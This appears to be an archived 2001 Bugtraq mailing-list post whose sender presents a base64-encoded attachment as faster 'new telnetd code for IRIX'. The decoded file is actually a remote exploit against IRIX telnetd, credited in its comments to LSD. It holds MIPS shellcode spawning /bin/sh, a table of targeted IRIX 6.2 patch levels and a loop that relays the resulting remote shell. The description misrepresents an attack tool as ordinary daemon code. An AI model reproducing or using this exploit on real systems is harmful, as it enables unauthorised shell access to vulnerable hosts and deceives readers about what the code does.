new modification for telnetd for irix
Date: Wed, 1 Aug 2001 14:37:01 -0700
From: sneed hacker <sneed0wnsj00@crackdealer.com>
To: bugtraq@securityfocus.com
Subject: new modification for telnetd for irix
------------=_996701821-29385-0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
hey all you buddys, sneed here. Just wanted to release this new telnetd code for irix. Works faster
------------------------------------------------------------
[- Get your own free e-mail @ http://www.crackdealer.com -]
------------=_996701821-29385-0
Content-Type: application/octet-stream; name="irxtelnetd.c"
Content-Disposition: inline; filename="irxtelnetd.c"
Content-Transfer-Encoding: base64
LyojIyBTbmVlZCBDb2RlZCBUSGlzIHd3dy5zZXJ2ZXJhdHRhY2suY29tIyov
DQovKiMjIHRlbG5ldGQsIHRoaXMgY29kZSBpcyBtb2RpZmllZCBmcm9tIHRo
YXQgb2YgTFNELCBub3cgaXRzIGJldHRlciMqLyAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyov
DQoNCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29j
a2V0Lmg+DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxuZXRp
bmV0L2luLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDx1bmlz
dGQuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPGVycm5vLmg+
DQoNCmNoYXIgc2hlbGxjb2RlW109DQogICAgIlx4MDRceDEwXHhmZlx4ZmYi
ICAgICAgICAgICAgIC8qIGJsdHphbCAgJHplcm8sPHNoZWxsY29kZT4gICAg
Ki8NCiAgICAiXHgyNFx4MDJceDAzXHhmMyIgICAgICAgICAgICAgLyogbGkg
ICAgICAkdjAsMTAxMSAgICAgICAgICAgICAqLw0KICAgICJceDIzXHhmZlx4
MDJceDE0IiAgICAgICAgICAgICAvKiBhZGRpICAgICRyYSwkcmEsNTMyICAg
ICAgICAgICovDQogICAgIlx4MjNceGU0XHhmZVx4MDgiICAgICAgICAgICAg
IC8qIGFkZGkgICAgJGEwLCRyYSwtNTA0ICAgICAgICAgKi8NCiAgICAiXHgy
M1x4ZTVceGZlXHgxMCIgICAgICAgICAgICAgLyogYWRkaSAgICAkYTEsJHJh
LC00OTYgICAgICAgICAqLw0KICAgICJceGFmXHhlNFx4ZmVceDEwIiAgICAg
ICAgICAgICAvKiBzdyAgICAgICRhMCwtNDk2KCRyYSkgICAgICAgICovDQog
ICAgIlx4YWZceGUwXHhmZVx4MTQiICAgICAgICAgICAgIC8qIHN3ICAgICAg
JHplcm8sLTQ5MigkcmEpICAgICAgKi8NCiAgICAiXHhhM1x4ZTBceGZlXHgw
ZiIgICAgICAgICAgICAgLyogc2IgICAgICAkemVybywtNDk3KCRyYSkgICAg
ICAqLw0KICAgICJceDAzXHhmZlx4ZmZceGNjIiAgICAgICAgICAgICAvKiBz
eXNjYWxsICAgICAgICAgICAgICAgICAgICAgICovDQogICAgIi9iaW4vc2gi
DQo7DQoNCnR5cGVkZWYgc3RydWN0e2NoYXIgKnZlcnM7fXRhYmVudDFfdDsN
CnR5cGVkZWYgc3RydWN0e2ludCBmbGcsbGVuO2ludCBnb3QsZ19vZnMsc3Vi
YnVmZmVyLHNfb2ZzO310YWJlbnQyX3Q7DQoNCnRhYmVudDFfdCB0YWIxW109
ew0KICAgIHsgIklSSVggNi4yICBsaWJjLnNvLjE6IG5vIHBhdGNoZXMgICAg
ICB0ZWxuZXRkOiBubyBwYXRjaGVzICAgICAgICAgICIgfSwNCiAgICB7ICJJ
UklYIDYuMiAgbGliYy5zby4xOiAxOTE4fDIwODYgICAgICAgdGVsbmV0ZDog
bm8gcGF0Y2hlcyAgICAgICAgICAiIH0sDQogICAgeyAiSVJJWCA2LjIgIGxp
YmMuc28uMTogMzQ5MHwzNzIzfDM3NzEgIHRlbG5ldGQ6IG5vIHBhdGNoZXMg
ICAgICAgICAgIiB9LA0K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ICAgICAgfQ0KICAgICAgICBjbG9zZShzY2spOw0KICAg
IH0NCiAgICBpZihpPmloKSB7cHJpbnRmKCJcbmVycm9yOiBub3QgdnVsbmVy
YWJsZVxuIik7ZXhpdCgtMSk7fQ0KDQogICAgd2hpbGUoMSl7DQogICAgICAg
IGZkX3NldCBmZHM7DQogICAgICAgIEZEX1pFUk8oJmZkcyk7DQogICAgICAg
IEZEX1NFVCgwLCZmZHMpOw0KICAgICAgICBGRF9TRVQoc2NrLCZmZHMpOw0K
ICAgICAgICBpZihzZWxlY3QoRkRfU0VUU0laRSwmZmRzLE5VTEwsTlVMTCxO
VUxMKSl7DQogICAgICAgICAgICBpbnQgY250Ow0KICAgICAgICAgICAgY2hh
ciBidWZbMTAyNF07DQogICAgICAgICAgICBpZihGRF9JU1NFVCgwLCZmZHMp
KXsNCiAgICAgICAgICAgICAgICBpZigoY250PXJlYWQoMCxidWYsMTAyNCkp
PDEpew0KICAgICAgICAgICAgICAgICAgICBpZihlcnJubz09RVdPVUxEQkxP
Q0t8fGVycm5vPT1FQUdBSU4pIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAg
ICAgICBlbHNlIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICB3cml0ZShzY2ssYnVmLGNudCk7DQogICAgICAgICAgICB9DQog
ICAgICAgICAgICBpZihGRF9JU1NFVChzY2ssJmZkcykpew0KICAgICAgICAg
ICAgICAgIGlmKChjbnQ9cmVhZChzY2ssYnVmLDEwMjQpKTwxKXsNCiAgICAg
ICAgICAgICAgICAgICAgaWYoZXJybm89PUVXT1VMREJMT0NLfHxlcnJubz09
RUFHQUlOKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZSBi
cmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgd3Jp
dGUoMSxidWYsY250KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
IH0NCn0=
------------=_996701821-29385-0--